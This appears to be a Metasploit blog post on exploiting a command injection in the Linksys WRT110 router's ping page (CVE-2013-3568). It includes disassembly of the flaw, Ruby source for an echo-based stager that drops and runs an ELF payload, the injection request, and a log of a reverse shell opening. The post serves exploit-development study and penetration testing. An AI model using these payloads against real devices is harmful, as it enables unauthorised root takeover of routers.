Last updated at Wed, 23 Aug 2017 18:55:36 GMT
Introduction
Earlier this summer Craig Young posted on Bugtraq about a root command injection vulnerability on the Linksys WRT110 router. This was a nice one because because the request, basic authentication protected, is also exploitable through CSRF:
Our awesome Joe Vennix figured out the vulnerability and how to exploit it to get a session, even on a restricted Linux environment like the Linksys one. Since the experience can be useful for others exploiting embedded devices, here it is!
The Vulnerability
The exploit, a command injection vulnerability, can be found on the http service assembler, specifically on the cgi_ping handler, reachable from the web interface. The vulnerable code gets the usercontrolled "pingstr" from the HTTP query:
.text:0040FFB0 loc_40FFB0: # CODE XREF: cgi_ping 2D8 j
.text:0040FFB0 la $t9, atoi
.text:0040FFB4 nop
.text:0040FFB8 jalr $t9 ; atoi
.text:0040FFBC nop
.text:0040FFC0 lw $gp, 0xE0 var_C8($sp)
.text:0040FFC4 nop
.text:0040FFC8 la $a0, 0x460000
.text:0040FFCC nop
.text:0040FFD0 addiu $a0, (aPingstr - 0x460000) # "pingstr"
.text:0040FFD4 move $s0, $v0
.text:0040FFD8 la $t9, get_cgi
.text:0040FFDC nop
.text:0040FFE0 jalr $t9 ; get_cgi
.text:0040FFE4 nop
.text:0040FFE8 lw $gp, 0xE0 var_C8($sp)
.text:0040FFEC bnez $v0, loc_410000
Builds the command line using the sprintf function with with user controlled data:
.text:00410000
.text:00410000 loc_410000: # CODE XREF: cgi_ping 328 j .text:00410000 # DATA XREF: .got:10001E24 o .text:00410000 move $a2, $s1
.text:00410004 move $a3, $s0 ; user controlled data from "pingstr"
.text:00410008 addiu $a0, $sp, 0xE0 var_C0 ; store the resulting command
.text:0041000C la $a1, 0x460000
.text:00410010 nop
.text:00410014 addiu $a1, (aPingFCDSDS - 0x460000) # "ping -f -c %d -s %d %s &"
.text:00410018 sw $v1, 0xE0 var_D0($sp)
.text:0041001C la $t9, sprintf
.text:00410020 nop
.text:00410024 jalr $t9 ; sprintf
.text:00410028 nop
.text:0041002C lw $gp, 0xE0 var_C8($sp)
.text:00410030 b loc_4100E8
.text:00410034
And finally executes it through system, making it vulnerable to command injection:
.text:004100E8 loc_4100E8: # CODE XREF: cgi_ping 36C j
.text:004100E8 la $a0, 0x460000
.text:004100EC nop
.text:004100F0 addiu $a0, (aMarmotPingStrS - 0x460000) # "marmot: ping str %s\n"
.text:004100F4 addiu $a1, $sp, 0xE0 var_C0
.text:004100F8 la $t9, printf
.text:004100FC nop
.text:00410100 jalr $t9 ; printf
.text:00410104 nop
.text:00410108 lw $gp, 0xE0 var_C8($sp)
.text:0041010C addiu $a0, $sp, 0xE0 var_C0 ; The command built from user controlled data
.text:00410110 la $t9, system
.text:00410114 nop
.text:00410118 jalr $t9 ; system
.text:0041011C nop
.text:00410120 lw $gp, 0xE0 var_C8($sp)
.text:00410124
Unfortunately, even with the ability to execute arbitrary commands, getting a session on a Linksys WRT110 wasn't so straightforward. This was because of a very restricted busybox environment, a lack of utilities such as wget, openssl, and daemons like telnetd. On this environment, Joe was still able to launch a stager by injecting echo commands, enabling interpretation of backslash escapes ("-e" flag). Some of you may also find Metasploit's new CMD stager useful for exploiting other restricted Linux environments.
The New CMD Stager
Following we're going to review the basics of the new stager. First of all, a new Rex::Exploitation::CmdStagerBase subclass is provided, Rex::Exploitation::CmdStagerEcho. This class will get the final payload, embed it into an ELF file, and generate the necessary commands to drop it to filesystem, execute and clean it. We're going to review the most interesting methods CmdStagerEcho is overriding in order to provide the new stager:
- generate: This method is overridden to ensure opts[:path] is a correct *nix path, and finally calls the parent method, who generates the cmd payload including the decoding of an encoded payload, execution and cleanup commands.
def generate(opts = {})
opts[:temp] = opts[:temp] || '/tmp/'
opts[:temp].gsub!(/\\/, "/")
opts[:temp] = opts[:temp].shellescape
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
super
end
- generate_cmds: This method is overridden to set the extra byte count (in order to split correctly the original file with the payload). Also set the start/end of the commands, which are the commands around every part of the original file with the payload.
def generate_cmds(opts)
@cmd_start = "echo -en "
@cmd_end = ">>#{@tempdir}#{@var_elf}"
xtra_len = @cmd_start.length @cmd_end.length 1
opts.merge!({ :extra => xtra_len })
super
end
- encode_payload: This method must be overridden in order to encode the payload if necessary. In this case, the String containing the ELF with the payload musb be incoded into a "\x55\xAA" hex format that echo understands, where interpretation of backslash escapes is enabled.
def encode_payload(opts)
return Rex::Text.to_hex(@exe, "\\\\x")
end
- slice_up_payload: This method take a string of data (the encoded payload) and turn it into an array of usable pieces (parts). That's used to circumvent limitations on the executed command length. This method must be overridden because the, on the current stager, the representation of an hex byte cannot be split:
def slice_up_payload(encoded, opts)
encoded_dup = encoded.dup
parts = []
xtra_len = opts[:extra]
xtra_len ||= 0
while (encoded_dup.length > 0)
temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
# cut the end of the part until we reach the start
# of a full byte representation "\\xYZ"
while (temp.length > 0 && temp[-5, 3] != "\\\\x")
temp.chop!
end
parts << temp
encoded_dup.slice!(0, temp.length)
end
parts
end
- parts_to_commands: This method combines the parts of the encoded file with the stuff that goes before / after it, in order to generate every command:
def parts_to_commands(parts, opts)
cmds = []
parts.each do |p|
cmd = ''
cmd << @cmd_start
cmd << p
cmd << @cmd_end
cmds << cmd
end
cmds
end
- generate_cmds_decoder: since there is no decoding task in this stager (echo with the "-e" flags allow to write binary contents to the file directly), this method is overridden just to provide the commands necessary to drop, chmod, and execute the binary payload, and then optionally delete it after executing:
def generate_cmds_decoder(opts)
cmds = []
# Make it all happen
cmds << "chmod x #{@tempdir}#{@var_elf}"
cmds << "#{@tempdir}#{@var_elf}"
# Clean up after unless requested not to..
if (not opts[:nodelete])
cmds << "rm -f #{@tempdir}#{@var_elf}"
end
return cmds
end
Once the new Rex class is ready, the next step is to provide a new Exploit mixin so modules for command injection vulnerabilities can easily use it to get a new session. In order to provide a new CmdStager mixin, it should include the CmdStager interface, define a create_stager method, and override any other methods if necessary. In this case, just defining create_stager to return a new Rex::Exploitation::CmdStagerEcho instance is all what is needed:
####
# Allows for staging cmd to arbitrary payloads through the CmdStagerEcho.
#
# This stager uses the echo's "-e" flag, that enable interpretation of
# backslash escapes, to drop an ELF with the payload embedded to disk.
# The "-e" flag is usually available on linux environments. This stager
# has been found useful on restricted linux based embedded devices.
####
module Exploit::CmdStagerEcho
include Msf::Exploit::CmdStager
# Initializes a CmdStagerEcho instance for the supplied payload
#
# @param exe [String] The payload embedded into an ELF
# @return [Rex::Exploitation::CmdStagerEcho] Stager instance
def create_stager(exe)
Rex::Exploitation::CmdStagerEcho.new(exe)
end
end
Getting shells
Once here, an exploit can profit off the new CMD stager by including the new mixin (Msf::Exploit::CmdStagerEcho), calling the execute_cmdstager from the exploit method, and define the execute_command method. This method should allow to execute an arbitrary command, through the exploited vulnerability. In the CVE-2013-3568 case, an HTTP POST query with the command injection in the 'pingstr' variable is sent:
# Run the command on the router
def execute_command(cmd, opts)
send_request_cgi({
'uri' => '/ping.cgi',
'method' => 'POST',
'vars_post' => { 'pingstr' => '& ' cmd } }) end
Finally, time to enjoy shells!
msf exploit(linksys_wrt110_cmd_exec_stager) > show options
Module options (exploit/linux/http/linksys_wrt110_cmd_exec_stager):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin no Password to login with
Proxies no Use a proxy chain
RHOST 192.168.1.1 yes The address of the router
RPORT 80 yes The target port
TIMEOUT 20 no The timeout to use in every request
USERNAME admin yes Valid router administrator username
VHOST no HTTP server virtual host
Payload options (linux/mipsle/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.100 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux mipsel Payload
msf exploit(linksys_wrt110_cmd_exec_stager) > rexploit
[*] Reloading module...
[*] Started reverse handler on 192.168.1.100:4444
[*] 192.168.1.1:80 - Trying to login with admin:admin
[ ] 192.168.1.1:80 - Successful login admin:admin
[*] Command Stager progress - 90.69% done (2046/2256 bytes)
[*] Command shell session 1 opened (192.168.1.100:4444 -> 192.168.1.1:32771) at 2013-09-16 14:41:48 -0500
[*] Command Stager progress - 100.00% done (2256/2256 bytes)
ls
AdminDiag.htm
AdminManage.htm
AdminRebootConfig_Clicked.htm
AdminRebootConfig_Clicked_reboot.htm
AdminReport.htm
AdminRestore.htm
AdminRouting.htm
AdminUpgrade.htm
AdminUpgradeFail.htm
AdminUploadConfigFail.htm
AdvancedWirelessSettings.htm
AppDDNS.htm
AppDDNSDYN.htm
AppDDNSDYN_msg.htm
AppDDNSTZO.htm
AppDDNSTZO_msg.htm
AppDDNSURL.htm
AppDMZ.htm
AppDMZDHCPClientTable.htm . . .
Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.